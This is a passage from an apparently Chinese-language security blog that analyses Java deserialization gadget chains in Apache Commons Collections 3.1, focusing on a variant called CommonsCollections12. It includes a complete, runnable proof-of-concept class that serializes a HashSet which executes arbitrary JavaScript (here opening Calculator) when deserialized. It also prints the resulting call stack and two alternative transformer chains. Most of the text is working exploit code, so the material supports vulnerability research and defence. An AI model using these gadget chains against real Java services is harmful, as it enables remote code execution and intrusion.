1 2 3 4 5 6 7 8 9 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
因此HashMap#put 转TiedMapEntry#hashCode 。
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
TiedMapEntry#hashCode 到TiedMapEntry#getValue 。
1 2 3 4 5 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
TiedMapEntry#getValue 继续转LazyMap#get ,key 为TemplatesImpl 。
1 2 3 public Object getValue () { return map.get(key); }
map 长度为0 ,进入if 到触发InvokerTransformer#transform 。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
后面照旧,同样,在最后进行反射赋值操作是防止在生成POC 的时候put 操作在本地触发恶意字节码。
CommonsCollections12
CC6+JS 。
影响版本
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.script.ScriptEngineManager;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CC12 { public static void main (String[] args) throws Exception { String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ; ChainedTransformer chain = new ChainedTransformer ( new Transformer [] { new ConstantTransformer (ScriptEngineManager.class), new InvokerTransformer ("newInstance" , null , null ), new InvokerTransformer ( "getEngineByName" , new Class [] {String.class}, new Object [] {"js" }), new InvokerTransformer ( "eval" , new Class [] {String.class}, new Object [] {cmd}) }); Map innerMap = new HashMap (); Map lazyMap = LazyMap.decorate(innerMap, chain); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, 1 ); HashSet hashset = new HashSet (1 ); hashset.add(2 ); Field hashSetField = HashSet.class.getDeclaredField("map" ); hashSetField.setAccessible(true ); HashMap hashsetMap = (HashMap) hashSetField.get(hashset); Field hashMapTable = HashMap.class.getDeclaredField("table" ); hashMapTable.setAccessible(true ); Object[] array = (Object[]) hashMapTable.get(hashsetMap); Object node = array[0 ]; if (node == null ) { node = array[1 ]; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node, tiedMapEntry); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC12" )); outputStream.writeObject(hashset); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC12" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 exec:347 , Runtime (java.lang) invokeVirtual_LL_L:-1 , 243194708 (java.lang.invoke.LambdaForm$DMH) reinvoke:-1 , 890545344 (java.lang.invoke.LambdaForm$BMH) exactInvoker:-1 , 702846463 (java.lang.invoke.LambdaForm$MH) linkToCallSite:-1 , 1105322512 (java.lang.invoke.LambdaForm$MH) :program:1 , Script$\^eval\_ (jdk.nashorn.internal.scripts) invokeStatic_LL_L:-1 , 101478235 (java.lang.invoke.LambdaForm$DMH) invokeExact_MT:-1 , 1853205005 (java.lang.invoke.LambdaForm$MH) invoke:640 , ScriptFunctionData (jdk.nashorn.internal.runtime) invoke:228 , ScriptFunction (jdk.nashorn.internal.runtime) apply:393 , ScriptRuntime (jdk.nashorn.internal.runtime) evalImpl:446 , NashornScriptEngine (jdk.nashorn.api.scripting) evalImpl:403 , NashornScriptEngine (jdk.nashorn.api.scripting) evalImpl:399 , NashornScriptEngine (jdk.nashorn.api.scripting) eval:155 , NashornScriptEngine (jdk.nashorn.api.scripting) eval:264 , AbstractScriptEngine (javax.script) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) transform:125 , InvokerTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) getValue:73 , TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:120 , TiedMapEntry (org.apache.commons.collections.keyvalue) hash:338 , HashMap (java.util) put:611 , HashMap (java.util) readObject:334 , HashSet (java.util) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:65 , CC12
分析
主要差异就在Transformer 部分。
一路反射实例化到调用ScriptEngineManager#getEngineByName 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public ScriptEngine getEngineByName (String shortName) { if (shortName == null ) throw new NullPointerException (); Object obj; if (null != (obj = nameAssociations.get(shortName))) { ScriptEngineFactory spi = (ScriptEngineFactory)obj; try { ScriptEngine engine = spi.getScriptEngine(); engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE); return engine; } catch (Exception exp) { if (DEBUG) exp.printStackTrace(); } } for (ScriptEngineFactory spi : engineSpis) { List<String> names = null ; try { names = spi.getNames(); } catch (Exception exp) { if (DEBUG) exp.printStackTrace(); } if (names != null ) { for (String name : names) { if (shortName.equals(name)) { try { ScriptEngine engine = spi.getScriptEngine(); engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE); return engine; } catch (Exception exp) { if (DEBUG) exp.printStackTrace(); } } } } } return null ; }
类似的还有ScriptEngineManager#getEngineByExtension 和ScriptEngineManager#getEngineByMimeType 。
因此可以修改成这样。
1 2 3 4 5 6 7 8 9 10 11 12 ChainedTransformer chain = new ChainedTransformer ( new Transformer [] { new ConstantTransformer (ScriptEngineManager.class), new InvokerTransformer ("newInstance" , null , null ), new InvokerTransformer ( "getEngineByExtension" , new Class [] {String.class}, new Object [] {"js" }), new InvokerTransformer ( "eval" , new Class [] {String.class}, new Object [] {cmd}) });
以及这样。
1 2 3 4 5 6 7 8 9 10 11 12 ChainedTransformer chain = new ChainedTransformer ( new Transformer [] { new ConstantTransformer (ScriptEngineManager.class), new InvokerTransformer ("newInstance" , null , null ), new InvokerTransformer ( "getEngineByMimeType" , new Class [] {String.class}, new Object [] {"text/javascript" }), new InvokerTransformer ( "eval" , new Class [] {String.class}, new Object [] {cmd}) });
Refer
Java 反序列化- CommonsCollections
Java 反序列化- CommonCollections1 利用链分析
动态代理
Java 反序列化- CommonsCollections2 分析
Commons-Collections 1-7 利用链分析
反序列化篇 6
Java 安全 - 反序列化 -4-CC6
不删除 "key" 的 CC6 反序列化
CommonsCollections8
CommonsCollections9
CommonsCollections10
CommonsCollections11 分析
CommonsCollections12 之 CommonsCollections6 改造计划
CommonsCollections12